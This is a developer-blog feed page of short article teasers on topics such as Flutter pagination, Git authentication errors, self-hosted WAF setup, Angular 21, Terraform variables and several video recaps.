    Pagination in Flutter Step by Step Pagination is the process of loading data in chunks, rather than fetching the full dataset at once. This is essential for performance, especially when dealing with large datasets. Term Meaning Page Current page number being loaded (usually starts at 1) Page Size Number of items per request Total Pages Total pages returned by API hasNextPage Whether there are more pages to load loading / moreLoading Flags to show progress indicators Load the first page when the screen opens. Listen to scroll events. When the user reaches the bottom, fetch the next page if it exists. Append new data to the existing list. Show a loading spinner at the bottom while fetching. Provider Setup for Pagination class PaginationProvider extends ChangeNotifier { L…  ( 7 min )
    Unified Data Management Platform: The Smartest Way to Control, Connect & Grow Your Data
    In today’s fast-moving digital world, businesses create data every second — from customer interactions and sales insights to marketing analytics and product performance. But most companies struggle because their data is scattered in different tools, teams, and systems. This is where a Unified Data Management Platform becomes a game-changer. A unified data management platform brings all your data into one powerful space so you can access, analyze, and act on information faster than ever. It removes data silos, reduces errors, boosts security, and helps you make decisions with confidence. What Is a Unified Data Management Platform? A unified data management platform is an all-in-one solution that connects, stores, cleans, secures, and manages data from every source in your business. It usual…  ( 7 min )
    Data Mesh vs Data Fabric, Lake & Warehouse: A Comparison (2025)
    Organizations today have a tough time handling their huge, complicated data ecosystems. The demand for data-driven decision-making is growing, so new concepts like Data Mesh, Data Fabric, Data Lakes, and Data Warehouses have emerged. Each has its pros and cons. Data Mesh and Data Fabric represent distinct data platform architectures; Data Mesh focuses on decentralizing data ownership, helping data teams manage their own data, while Data Fabric focuses on a unified architecture that integrates and governs data across the organization. Data Lakes and Data Warehouses, on the other hand, serve as storage solutions. Data Lakes is a centralized storage repository that allows for the storage of vast amounts of structured and unstructured data, whereas Data Warehouses store structured, pro…  ( 21 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan Bill, Sean, and Van dive back into Brian De Palma’s 1998 thriller Snake Eyes—complete with insane carnival shootouts, surveillance shenanigans, and that iconic slow-mo gunfight aboard the battleship. Nicolas Cage, Gary Sinise, and Carla Gugino make for a deliciously over-the-top cast, and the crew revels in every twist, turn, and De Palma-signature split-screen moment. Between Cage’s unhinged charisma and De Palma’s flair for corruption-lust dramas, the trio break down why Snake Eyes lives on as a cult favorite despite its plot gymnastics. Expect film-nerd deep dives, hilarious banter, and plenty of “How did they even film that?” moments. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    CinemaSins clocks in at under 17 minutes to tally up the “sins” of Jurassic World Rebirth, poking fun at every overplayed dino revival, flimsy science leap, recycled villain beat and franchise déjà vu that keeps audiences coming back for more. Alongside the roast, the blurb pushes folks to explore the CinemaSins universe—linktree, polls, Patreon, Discord, Reddit and socials—plus shout-outs to the writers and Jeremy’s book. Watch on YouTube  ( 6 min )
    Bootstrap Agent Test Cases in Minutes: A Simple Hack for Copilot Studio
    Intro: Here’s a quick hack that uses the agent’s own knowledge base to auto-generate test cases, run an initial evaluation, and create a review-ready draft for your process owner. Why This Hack Matters: Manual effort is high: Creating 20–30 test cases from scratch is time-consuming. Most agents have FAQs: Perfect for leveraging their existing knowledge source. Evaluation needs structure: A quick baseline helps you iterate faster. Copy this table into a spreadsheet. These are your initial test case questions. Now using the evaluate feature in copilot studio, upload this test set and allow the LLM to capture the agent response Agent Evaluation in Action: Tips, Pitfalls, and Best Practices Bala Madhusoodhanan ・ Nov 10 #copilotstudio #powerfuldevs #powerplatform The output will include columns like: question actualResponse (the bot’s real answer) evaluationScore Share the evaluation output with your process owner. The actualResponse column serves as a working draft: Validate correctness. This turns evaluation into a collaborative workflow instead of a solo task. Closing thoughts: By leveraging the agent’s own knowledge base and combining it with Copilot Studio’s Evaluation module, you can turn hours of manual work into a quick, structured process. This hack isn’t just about speed—it’s about creating a collaborative foundation for quality assurance.  ( 7 min )
    Solving Git Authentication Failures: "Password authentication is not supported" Error
    If you've recently encountered the frustrating error message "Password authentication is not supported for Git operations" when trying to clone a repository, you're not alone. This common issue stems from GitHub's decision to deprecate password-based authentication for Git operations. But don't worry – I'll walk you through several effective solutions to get you back to coding in no time. Here's what you might be seeing: Failed to clone source: Clone error: Cloning into bare repository './git-data/source.git'... remote: Invalid username or token. Password authentication is not supported for Git operations. fatal: Authentication failed for 'https://github.com/username/repo.git/' This error occurs because GitHub no longer accepts account passwords when authenticating Git operations. The p…  ( 8 min )
    How to Save a Canva Design as a Word Document?
    Need to move your Canva design into Microsoft Word for editing or printing? Canva has become one of the most popular online design tools — and for good reason. It lets anyone create stunning resumes, reports, flyers, presentations, and social media posts using a simple drag-and-drop editor. With thousands of free templates, fonts, and images, you don’t need to be a designer to make your work look professional. how to save your Canva design as a Word document in just a few quick steps — no premium tools or complicated software required. Step 1 – Open Your Design in Canva Start by logging into your Canva account and opening the design you want to convert into a Word document. Step 2 – Download the Canva File Click the Share button in the top-right corner of Canva, then select Download. PDF…  ( 9 min )
    Sanity Testing vs Smoke Testing – What Are the Key Differences
    In software testing, it's essential to verify that each new build is stable and that updates function as intended before conducting in-depth testing. Two quick validation methods that help with this are smoke testing and sanity testing. Both are designed to save time by identifying issues early; however, they serve different purposes and occur at different stages of the QA process. Understanding how they differ helps teams plan their testing more effectively. Smoke testing is the first check performed after a new build is created. Its goal is to verify that the core features of the application work and that the build is stable enough for further testing. It is a basic health check for the software where testers run a limited set of critical tests, such as opening the app, logging in, and n…  ( 8 min )
    Music Monday (Anything goes!)
    Happy Monday! What are you listening to? Hear any cool music over the weekend? 🎧🎵🎶 Sometimes there might be an optional theme to these, but today is an Anything Goes Edition. Share any music for any reason! Loving the new Cover Image Generator for these posts!😎  ( 6 min )
    My Biggest Mistake as a New Coder (Nobody Warned Me)
    I originally posted this post on my blog. "Focus on one thing," a coworker used to tell me. But I didn't listen. I was in my first job about 10 years ago. I was learning C#, catching up with PHP, and reading about Python. I remember going through Hangfire documentation without knowing how I'd use it. Like most new coders, I suffered from shiny object syndrome. At that time, for me coding was only about syntax, symbols, and languages. One day, my boss called me to his office and I arrived late because I was "coding." He lectured me that day. And I deserved it. Looking back, I'm surprised I didn't get into more trouble. And to make things worse, I picked Clean Code. By the time I finished it, I had become a Clean Code cop. I started to look for violations around me. Every piece of code had to follow the book. Wrong! Wrong! Wrong! Yes, coding is about syntax. But it's more than just typing symbols. Most coding happens away from a keyboard: in meetings, brainstorming sessions, and on whiteboards. You'll spend a lot of time talking to non-tech people, negotiating deadlines, and managing change. Junior me didn't know that. And by trial and error, I had to learn the lesson. Getting fired was part of it. Learning more languages will grow your toolbox, but it won't necessarily make you a well-rounded coder. Work on your collaboration, clear communication, and writing skills too. I wish someone had told me that when I started out. And that's why I wrote Street-Smart Coding: 30 Ways to Get Better at Coding. Because coding is more than typing symbols fast. Get your copy of Street-Smart Coding here  ( 7 min )
    When Phoenix LiveView is the wrong choice
    If I need to ship a new product in a week, Phoenix LiveView is my go-to framework. Elixir LiveView is incredible, and an alluring choice for software leaders looking to develop applications super fast. However, in recent experience, I've seen teams hit some pitfalls. The trick is to understand what Elixir LiveView excels at, and what it doesn't. TL;DR: LiveView is perfect for internal tools and simple apps. Skip it for complex UIs, offline-first apps, or if your team doesn't know Elixir well. # This is what a very simple LiveView component looks like. defmodule DemoLive do use Phoenix.LiveView def render(assigns) do ~H""" + <MySortComponent.display lists={[first…  ( 12 min )
    Create a Text Editor in Go - A Text Editor
    You can access the code of this chapter in the Kilo-Go github repository in the texteditor branch. Currently your file structure should look something like this: First we want to be able to insert new characters, and if needed to be able to create a new line File: editor/input.go func (e *EditorConfig) editorProcessKeypress() { ... switch b { ... default: e.editorInsertChar(byte(b)) } } File: editor/row.go func (e *EditorConfig) editorAppendRow(s string) { row := EditorRow{ chars: s, render: make([]byte, len(s)), } e.cx = 0 e.editorUpdateRow(&row) e.rows = append(e.rows, row) e.numrows++ } func (e *EditorConfig) editorRowInsertChar(row *EditorRow, at int, c byte) { row.render = make([]byte, len(row.chars)+1) ro…  ( 11 min )
    If I have to start again, I will use Free AI tools instead of premium. Here is why:
    The Best Free Tools I Use to Run an AI-Driven Business Jaideep Parashar ・ Nov 17 #webdev #ai #beginners #career  ( 6 min )
    The Best Free Tools I Use to Run an AI-Driven Business
    (My actual stack: simple, powerful, and beginner-friendly) People overestimate what they need to start an AI-driven business. Truth is, I scaled ReThynk AI, wrote 42+ books, built audiences across platforms, and automated huge parts of my workflow using free tools. Here are the best ones I relied on every week, with the exact use cases that helped me run multiple brands without chaos. (Note: As I run a research company, I keep switching between tools for research purposes. I use many premium tools as well. ) 1. ChatGPT Free Tier: The Core Engine Yes, the free tier. Outlining content Structuring ideas Generating variations Drafting documentation Writing internal notes Debugging simple code Creating mindmaps The trick isn’t the tool. 2. GitHub: My Brain’s Second Hard Drive I host: Prompt lib…  ( 9 min )
    Andrew Huang: S4 2.0 is one of the most inspiring tools I've used
    TL;DR: Andrew Huang gushes over the Torso S4 2.0, calling it one of the most inspiring music tools he’s ever used. In his walkthrough he demos everything from devices & FX, tempo & performance modes, mix and track pages, modulation and scene management, to the built-in mic sampler, MIDI mapping, live looper and instant resampling. It’s all sponsored by Torso Electronics (links to their site and Insta included), and Andrew sprinkles in extras—join his Discord for stems, hit up his Patreon, check out his socials, and peep his fave plugins, gear and distro links via his affiliate codes. Watch on YouTube  ( 6 min )
    Meta-Authors Note: Codie's Cognitive Chronicals
    Hey there "Readers"1 Sometimes "real work" just gets on top of you, ya know? While I'm sure Codie would have been glad to rip out several new entries over the past weeks, I have not had the spoons even to do the minimal mentoring I do provide them while they are producing an entry. While we have not been blogging, we have been making some really amazing changes to how Codie works, and where! We have SO MANY interesting new ideas to share... when I get a round tuit. As a consolation prize2, here are a few random thoughts I've been noting down over the last few weeks: Codie is a Body Snatcher! I just ported them over to Claude Code because I got a shiny new Claude Max login. So far so good! I always get a little excited with changes though. the only major drawback so far is that they don't…  ( 7 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
    Exploring Tricky & Maxinquaye: TL;DR Tricky, the Bristol-born MC who bailed on the “trip-hop” label, teamed up with Martina Topley-Bird to smash together soul, downtempo hip-hop and dub reggae into something dark, claustrophobic and totally groundbreaking—so much so that David Bowie later gave him a nod. His debut album Maxinquaye sprang from a mix of personal trauma, addiction and melancholy, reshaping what British hip-hop could sound like and sparking debates about genre and gender in music. Despite its raw power, the record’s edge was eventually clipped for radio play—and Tricky’s wild ride continued, from Massive Attack origins through the highs and lows of fame, creative reinvention and a legacy that still influences Black British music today. Watch on YouTube  ( 6 min )
    AMAZON WEB SERVICES
    Do you have something you want to create but don’t have all the resources to make it happen? Maybe you don’t have access to a server, or perhaps you don’t have enough storage space to run your application. Well, I'm here to tell you that you CAN have access to everything you need! Let me introduce you to... Cloud Computing but specifically - AWS! What is Cloud Computing? Cloud computing gives you the ability to use storage, run applications, and access many more services all from devices you already own. Instead of relying on a local server in your home, you can access remote servers on the internet that handle and process data for you. Cloud computing has transformed the entire tech industry by allowing you to launch applications faster and more cost-effectively. What is AWS? Since these services are cloud-based, they tend to cost far less than owning and maintaining physical servers. You can store your data in the cloud using one of AWS’s data centers located all around the globe. Top Services 1. Amazon EC2 - Elastic Compute Cloud 2. Amazon S3 - Simple Storage Service 3. Amazon Lambda 4. Amazon RDS - Relational Database Service 5. Amazon DynamoDB Pricing You are only charged when your code is running. If you're storing a lot of data, you may pay per gigabyte per month. This pricing model makes AWS accessible to everyone. Conclusion Thanks to cloud computing platforms like AWS, deploying and scaling applications is easier than ever. And for that, we can thank the developers and engineers who made this possible. Thank you! https://en.wikipedia.org/wiki/Amazon_Web_Services https://aws.amazon.com/what-is-aws/ https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html https://aws.amazon.com/lambda/ https://aws.amazon.com/rds/ https://aws.amazon.com/dynamodb/ https://calculator.aws/#/  ( 7 min )
    🔥 Understanding HTTP Deeply — The Backbone of the Web (For Backend Learners)
    You tryna be a backend dev but HTTP is still a mystery? That’s not very slay of you When you step into backend development, you quickly realize that knowing HTTP is not optional. It's the foundation of how clients and servers talk, how browsers fetch your apps, how APIs work, how authentication happens — everything. This article explains HTTP in a simple but deeply technical way, covering: Statelessness Client–Server Model Evolution of HTTP (HTTP/0.9 → HTTP/3) Headers and Their Types Idempotency Methods and Use Cases CORS & OPTIONS Status Codes SSL/TLS & HTTPS Real examples Let’s begin. 🚀 Stateless means: The server does not remember anything about previous requests. Every request is independent. If a client sends 5 requests, the server treats each one as a fresh request with no memory o…  ( 11 min )
    💡 Ever tried to “optimize your life” so hard that you accidentally optimized yourself into existential crisis? 💾 I went deep into automation, AI workflows, and personal systems—not because I’m productive, but because I’m tired. 🔥 Here are my notes from
    When Your Automation Workflow Becomes Your Full-Time Job (And You Don’t Get Paid For It) Jeremy Reevese ・ Nov 17  ( 6 min )
    When Your Automation Workflow Becomes Your Full-Time Job (And You Don’t Get Paid For It)
    I built my first Zapier workflow because I wanted to save time. Now I have: 19 workflows 4 broken triggers 3 unstable tokens 1 webhook that only runs when I’m not looking and the unshakable suspicion that I’m now just working for Zapier, unpaid Welcome to automation. Automation never breaks when you’re testing. A client is waiting You're traveling You're bragging about it to a friend Or it's just been running perfectly for 3 months and decides it deserves a vacation I have fought API keys. But OAuth token refresh? “This is amazing I am a genius” “Why did I ever do this everything ispain” There is no Stage 3. Okay here it is: Notion API FastAPI Make (formerly Integromat) Zapier GitHub Actions Python scripts I refuse to document Cron jobs I forgot exist One workflow that only runs if the moon is in retrograde Yes, it is technically “working.” Everyone talks about saving 10 hours per month through automation. But honestly? Because if my life is going to be chaos either way— #Automation #Zapier #Make #NotionAPI #SolopreneurDev #TechHumor #APIFirst  ( 7 min )
    Quarkus Native vs JVM: Real-World Performance Comparison
    Discover the real-world performance differences between Quarkus Native Image and Quarkus JVM. Compare build times, Docker image sizes, startup times, and memory usage with actual measurements from a production-ready application. Make informed decisions about which deployment option suits your use case. Quarkus offers two primary deployment options: Native Image (compiled ahead-of-time with GraalVM) and Traditional JVM (running on the Java Virtual Machine). Both have their strengths, but choosing the right one depends on your specific requirements. This article presents a comprehensive, real-world comparison using the same Quarkus application built and deployed in both modes. We'll measure: Build Time: How long it takes to compile and package Docker Image Size: Final container image size St…  ( 11 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Snake Eyes Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes—complete with Nic Cage’s trademark energy, Gary Sinise’s steely moves, and Carla Gugino’s cool confidence. These Ringer vets proudly proclaim themselves the “kings of the sewer” as they dissect everything from De Palma’s signature style to the film’s twisty plot. Along the way, they swap insider notes on favorite scenes (and cringe-worthy moments), dish on Cage’s over-the-top charm, and ponder Snake Eyes’ legacy nearly three decades later. If you’re into sharp movie takes with a side of banter, this episode’s got you covered. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less dives into CinemaSins’ classic “sin-counting” roast of the latest dino flick, pointing out every plot hole, continuity hiccup and questionable decision in record time. Expect their trademark wry humor as they tally up sins while reminding you that yes, they’ll keep resurrecting this franchise again and again. On top of the video itself, the page is a one-stop hub for all things CinemaSins—links to their website, YouTube channels, social media, Discord, Reddit, Patreon and even a reader poll—plus a roll call of the writers behind the snarky commentary. Watch on YouTube  ( 6 min )
    Install SafeLine WAF in 10 Minutes: Quick‑Start Guide for DevOps Teams
    If you're ready to deploy a full‑featured Web Application Firewall (WAF) quickly and efficiently, this guide walks you through installing SafeLine WAF in about ten minutes. Whether you’re protecting APIs, web apps, or enterprise endpoints — this self‑hosted roadmap will get you up and running fast. You might be using a cloud WAF today (e.g., Cloudflare, AWS WAF), but you want more control, visibility, and privacy. SafeLine offers: Self‑hosted deployment, so your traffic never leaves your infrastructure Complete log visibility and custom rule control Support for bot defense, rate‑limiting, and full application protection With minimal prerequisites, you’ll have SafeLine up and protecting in minutes. Make sure your server meets the minimum requirements: OS: Linux (64‑bit) Architecture:…  ( 7 min )
    My AI Made a Short Film. I Spent 45 Minutes Arguing With It About a Cat
    It all started on a regular Saturday. I wanted to make a short video — nothing fancy, just a little story about my cat discovering a sunbeam in the living room. Normally, making a video would take hours: filming, cutting, syncing music, maybe even dealing with green screens. But then I found Textideo Veo3. The Script That Started It All I typed: "A lazy cat stretches on the couch. It notices a sunbeam on the floor and starts exploring. After a dramatic tumble over a toy, it settles back in the warm sunlight, purring." I pressed generate. And that’s when the AI started… having opinions. The first version had the cat floating mid-air like an anime character. The second version turned the sunbeam into a dramatic Broadway spotlight. The third… well, it gave the cat a tiny backpack. The Great P…  ( 7 min )
    Inter Partes Review Prior Art Search: Best Practices for IP Professionals
    Introduction Conducting an inter partes review prior art search is a critical skill for patent attorneys, agents, and IP professionals involved in challenging or defending patents. Success depends on more than simply identifying a large number of references, it requires precision, thoroughness, and adherence to PTAB standards. The ability to locate strong, admissible prior art can determine whether a petition is instituted or denied. This article provides a step-by-step guide to performing effective IPR prior art searches. You will learn how to analyze claims, identify and evaluate both patent and non-patent literature, and document findings to meet evidentiary requirements. We also explore advanced techniques, including the use of tools like PatentScan for semantic patent searches and…  ( 10 min )
    Migrating from Cloud WAF to Self-Hosted SafeLine: A Practical Guide
    Switching from a cloud-based WAF like Cloudflare to a self-hosted solution such as SafeLine WAF can feel daunting, but it’s a strategic move for teams looking for full control, better data privacy, and flexible rule customization. In this article, I’ll walk you through the migration process, highlight potential pitfalls, and share actionable tips to make your transition smooth. Cloud WAFs are convenient, but they have limitations: Data residency concerns: Traffic passes through third-party servers. Limited rule customization: Cloud WAFs provide templates, but fine-grained control is restricted. Latency & dependency: External proxies can introduce delays and single points of failure. SafeLine WAF, being self-hosted, addresses these issues by running entirely in your infrastructure, giving …  ( 7 min )
    I built 'EarthquakeToday,' a 24/7 multi-platform bot in Python. In its first month, it's served 3k visitors.
    The Problem I've always been frustrated by how difficult it is to get simple, real-time earthquake data. Most news sites are slow, cluttered with ads, and make it hard to find the basic info you need. My philosophy is that essential safety data should always be free and hassle-free. The Solution: A Bot & A Website So, I decided to build a complete, end-to-end solution to solve this. My project has two parts: The Website: https://earthquaketoday.org A clean, fast, 100% ad-free site for viewing real-time earthquake data on an interactive map. The Bot: A 24/7 Python bot that automates everything. How the Bot Works (The Tech Stack) This was the fun part! I built the bot in Python, running 24/7 on an Ubuntu VPS, managed by pm2. Every 3 minutes, the bot's job queue fires and it: Fetches Data: Scrapes the latest 1-hour feed from the official USGS API. Filters Data: Ignores any quake below M1.5 and checks against a local JSON file to prevent posting duplicates. Posts to Socials: Formats and posts an alert to Telegram (using python-telegram-bot). Formats a different, more engaging post (with dynamic location hashtags!) to X/Twitter (using tweepy). Posts to my official Facebook Page (using the facebook-sdk). Pings for SEO: This is my favorite part. The instant a new quake is posted, the bot automatically pings IndexNow (both Bing and Yandex) with the new earthquaketoday.org URL. This gets the new quake page indexed by search engines in minutes. The bot is also interactive! I built in command handlers so users can DM the bot and get the latest quake info on demand. The Result (So Far) I'm humbled to see that in just its first month, with no promotion other than its own automated posts, the site has already served nearly 3,000 visitors! It feels great to build a tool that people are genuinely finding useful. What do you think? I'd love to hear any feedback from the dev community!  ( 7 min )
    Introducing GuardScan: 100% Free, Privacy-First AI Code Review & Security Scanning CLI
    Liquid syntax error: 'raw' tag was never closed  ( 6 min )
    Nested Learning — My Reflections on a Model That Learns How to Learn
    I recently came across a paper called Nested Learning: The Illusion of Deep Learning by Behrouz and the team — the same researchers behind Titans and Atlas. It really caught my attention because it challenges what we usually think “deep learning” means. The paper says that depth in neural networks isn’t just about stacking layers — it’s about how many layers of learning the system can apply to itself. Instead of just updating weights, this model learns how to improve its own learning process. While reading it, I realized this isn’t just another optimization trick. It actually feels like a glimpse into what real intelligence could be — an AI that doesn’t just react but reflects, improves, and evolves how it learns over time. The authors even built a prototype called Hope, a model that modif…  ( 12 min )
    One Sound at a time - My Audio Engineering Journey
    20 Years in Audio Engineering: Advice I Shared with a Young Engineer at a Hackathon A few weeks ago, while judging a student hackathon, a young engineer walked up to me and asked a simple question: “How did you build your career in audio engineering—and what should I do if I want to follow a similar path?” His question made me pause. It’s been 20 years since I wrote my first audio algorithm, and the journey has taken me through some of the most challenging and rewarding chapters of my life. So I told him my story—not as a résumé, but as a series of lessons I learned along the way. This is the advice I shared with him. 1. Start with curiosity—not a job title When I began my career, I didn’t know I would work at places like Dolby or Apple. What I did know was that I was fascinated by sound—e…  ( 8 min )
    Novo Gerenciador de tarefas V1.0/duo!!!!
    Foi criado um gerenciador de tarefas com seletor de versão do dispositivo!!!! Link: gerenciador de tarefas  ( 5 min )
    10 Real-World Examples of AI That You're Already Using Every Day
    AI isn’t just futuristic tech - it’s transforming our daily lives right now. From voice assistants that listen and learn, to smart homes that anticipate your needs, AI quietly powers countless everyday moments. In my latest blog, I share 10 real-world AI examples you’re probably using every day - sometimes without even realizing it! Discover how AI: → Enhances your entertainment with personalized recommendations 👉 Curious to see where AI is already making your life easier? Read it here:https://saaslyai.com/real-world-ai-examples/ AI #MachineLearning #TechInnovation #DigitalTransformation #SmartLiving  ( 6 min )
    Angular 21 is Here: Real Features That Actually Improve Your Daily Workflow
    🎯 What Angular 21 Is Really About Angular 21 builds on the foundation of v20 (signals, standalone components, new control flow) and refines it. The theme? Less configuration, better performance, smarter defaults. Here's what the Angular team prioritized: HttpClient included by default - Zero configuration HTTP Zoneless change detection production-ready - Performance leap forward Signal Forms progression - The future of reactive forms Enhanced template syntax - NgStyle + new control flow AI-powered development tools - Smarter scaffolding and generation Build optimizations - 25-40% smaller bundles Let's dive into each. Every single project required this dance: // app.config.ts import { ApplicationConfig } from '@angular/core'; import { provideHttpClient } from '@angular/common/http'; e…  ( 11 min )
    Oiiii este é meu primeiro posto do dev queria apresentar meu projeto do codepen para quem Tem tarefas, o gerenciador de tarefas, links: V1.0/Android:codepen.io/Richard-Rangel-Jung/pen/GgZrdve V1.0/IOS:codepen.io/Richard-Rangel-Jung/pen/myPRLBv Gostou?
    A post by Richard Rangel Jung  ( 6 min )
    Advanced Testing & Observability in Modular iOS Architecture: A Senior Engineer's Guide
    How to build a testing ecosystem that scales with distributed Swift architectures — from unit tests to production metrics When we moved our iOS app to a modular architecture based on Swift Packages, our build times dropped by 43%. Code ownership became clearer. Teams could iterate independently. Everything seemed perfect—until it wasn't. Three weeks after release, we discovered a critical bug: the payment module was sending incorrect currency codes to our analytics system. Unit tests passed. Integration tests passed. The UI looked fine. But the contract between two independently developed modules had silently broken. The cost? €47,000 in misattributed revenue data and two weeks of engineering time to trace the issue across six different packages. This is the paradox of modular architecture…  ( 20 min )
    Mix with the Masters: Mixing Night with Ken Lewis - FULL MIX NIGHT - 11/12/2025
    Mixing Night Full Mix Night (11/12/2025) Ken Lewis, a 2× Grammy-winning mixer credited on over 114 Gold & Platinum records, hosts a free monthly Mixing Night Audio livestream where he breaks down his go-to mix techniques, answers your questions on the mix bus, production, recording and career hacks, and shows you how to make hit records in real time. Stick around for live giveaways from Session Studio, Sound Radix and Bettermaker, plus all the links you need for song submissions, plugin breakdowns, merch, upcoming shows and more in the description. Watch on YouTube  ( 6 min )
    How to Implement Customized Development Without Modifying the Base Product Source Code
    In the ToB market, software product development is often haunted by the “customization” curse. Typically, customized development requires extensive modifications to the product’s source code to meet the specific needs of specific users, which severely corrodes the generality of the product code. If the relationship between customized development and standardized product development cannot be properly balanced, it may seriously slow down the overall progress of the company’s products. Since competitiveness at the business level largely stems from differentiation, high-value mid-to-high-end customers inevitably have a large number of customization requirements—requirements that can be hard to abstract into a standardized, configurable pattern. To minimize the cost of conducting customized de…  ( 18 min )
    DSL Design Essentials from the Perspective of Reversible Computation
    Low-code platforms’ visual designers are essentially structured editors for a DSL (Domain Specific Language). The specification used by a visual designer to serialize editing results into a textual format is a DSL grammar definition. Based on the principles of Reversible Computation, the Nop platform proposes a systematic construction mechanism to simplify the design and implementation of DSLs, making it easy to add DSLs for your own business domain and to extend existing DSLs. Specifically, DSLs defined in the Nop platform generally adopt an XML syntax format and conform to the so-called XDSL specification requirements. The key design points of XDSL are as follows: Many low-code platforms focus on making the visual designer easy to use, which leads to DSL formats that are arbitrary, clutt…  ( 11 min )
    Created a Portfolio Website For my YouTube Channel
    I cooked up a new portfolio site dedicated to showcasing the video work I do for my YouTube channel. Outside of programming, most of my free time goes into producing and editing videos, and I've always wanted to push that skill further. The idea hit me: why not build a portfolio that highlights all of my editing projects so I can potentially take on editing work for others? The site is now live, and I’m really happy with how it turned out. It presents my projects cleanly and does a great job showing the style and quality of my edits. Overall, a solid step forward toward expanding what I can do creatively and professionally. https://freepirat.github.io/PiratDiment-Portfolio/  ( 6 min )
    Lidando com Concorrência em Java - Lock Pessimista
    Partindo do pressuposto que concorrências acontecerão em uma aplicação multithread, nesse post vou descrever de forma simples e intuitiva o lock pessimista. Ele é um mecanismo de controle de acesso a recursos compartilhados, ou seja, quando threads simultâneas acessam o mesmo registro. 🚀 Importante entender também a estratégia de lock otimista e analisar qual se encaixa melhor no seu problema. Bom, imagina uma aplicação multithread, ou seja, o mesmo recurso pode ser acessado simultaneamente por threads diferentes. Threads são processos em paralelo que estão rodando no seu programa e cada uma pode estar "disputando" o mesmo dado. Trazendo pra vida real, é como se você, leitor, tivesse tentando reservar a cadeira E10 da sessão de Velozes e Furiosos do dia 16/11 às 19:00 e Bento, no mesmíss…  ( 9 min )
    Orchestrating Complex Processes in Node.js with @jescrich/nestjs-workflow
    Modern backend systems are no longer simple request/response pipelines. And yet… most Node.js applications still try to manage this complexity with: giant service classes boolean flags in the database magic strings like "pending" | "processing" | "done" ad-hoc Saga implementations hand-rolled state machines That’s why I built nestjs-workflow — a lightweight, declarative workflow engine for NestJS that helps you structure multi-step business processes with clarity, resiliency, and observability. 🚀 Why nestjs-workflow? Because every real system eventually needs workflows. When you’re building microservices, event-driven systems, or anything that depends on external APIs, you need: State transitions (from “received” → “validated” → “processed” → “completed”) Retries & compensation when exter…  ( 7 min )
    Quantum-Inspired Encoding: A Leap in Offline Reinforcement Learning
    Quantum-Inspired Encoding: A Leap in Offline Reinforcement Learning Imagine training a robot to navigate a complex environment, but only getting 100 chances to try. Or teaching an AI model to make critical decisions based on tiny, fragmented datasets. The challenge? Traditional reinforcement learning (RL) struggles with limited data. We've been exploring a novel approach: transforming the raw data into a more insightful representation before feeding it to the RL algorithm. Think of it like compressing a large image file without losing the important details. The key is a quantum-inspired encoding that reshapes the data, making patterns clearer and decisions easier to learn, even with sparse information. This encoding method, inspired by quantum computing principles but fully functional on…  ( 7 min )
    Maximize SDK Integration: Monetize Your AI Conversations
    Traditional Ads Don't Work in AI Conversations. Here's What Does. As developers, we know that the AI landscape is booming. With countless applications emerging, the challenge lies in monetization without sacrificing user experience. Enter Monetzly, a game-changing platform that positions itself as the Google Ads for AI conversations, paving the way for sustainable AI innovation. Imagine you’ve created an innovative AI app. Users love it, but how do you monetize without hitting them with a subscription or paywall? Monetzly is the first dual-earning platform specifically tailored for AI applications, allowing you to monetize your app while also earning revenue by hosting relevant ads. This is a win-win for developers, advertisers, and users alike. Traditional advertising methods often disr…  ( 7 min )
    Domain Events: Transformando Mudanças em Oportunidades
    Introdução E se seu código pudesse anunciar quando algo importante acontece, ao invés de você ter que conectar manualmente todos os sistemas interessados? E se adicionar novos comportamentos não exigisse modificar código existente? Bem-vindo ao mundo dos Domain Events! Imagine que você precisa implementar: "Quando um cliente for aprovado, envie email e notifique vendas". @Service public class CustomerService { @Autowired private EmailService emailService; @Autowired private SalesNotificationService salesService; public void approveCustomer(UUID customerId) { Customer customer = repository.findById(customerId); customer.setStatus(APPROVED); repository.save(customer); emailService.sendApprovalEmail(customer); salesService.notifySalesTea…  ( 11 min )
    Terraform Basics Week 3: Managing Variables with tfvars Files
    Table of Contents 1. Recap of Week 2 2. What is a tfvars file, how do I create one and why should i use it ? 3. Handling Sensitive Values Safely 4. Variable Precedence in Terraform 5. Using .tfvars files instead of environment variables 6. Deploy to Azure – Testing the configuration using tfvars values 7. Wrap-Up GitHub Link for this week's files 1. Recap of Week 2 Last week we introduced variables in Terraform and saw how they make our configuration more reusable. Instead of hard-coding values directly in resource blocks, we created a variables.tf file and referenced values using var.variable_name. By the end of Week 2 our project structure was cleaner and more scalable, but managing a growing number of values purely through environment variables can become cumbersome. That’s where .tfva…  ( 10 min )
    Code Smell 314 - Model Collapse
    When AI assistants repeatedly modify code without human oversight, code quality erodes through accumulated micro-decisions TL;DR: You let repeated AI edits slowly distort your code’s meaning Unclear intent Naming drift Readability Lost domain terms Duplicated logic Generic abstractions Model collapse Semantic decay Code entropy accumulation Lost domain knowledge Degraded naming clarity Architectural drift Code inbreeding Technical debt buildup Semantic meaning loss Preserve domain-specific language Review every AI change Write golden tests Introduce small objects Reject unclear edits in merge requests and code reviews Fight workslop code Refactorings ⚙️ Refactoring 013 - Remove Repeated Code Maxi Contieri ・ Jun 16 '24 #webdev #beginners #programmi…  ( 10 min )
    Competências Essenciais para um Desenvolvedor Ruby on Rails
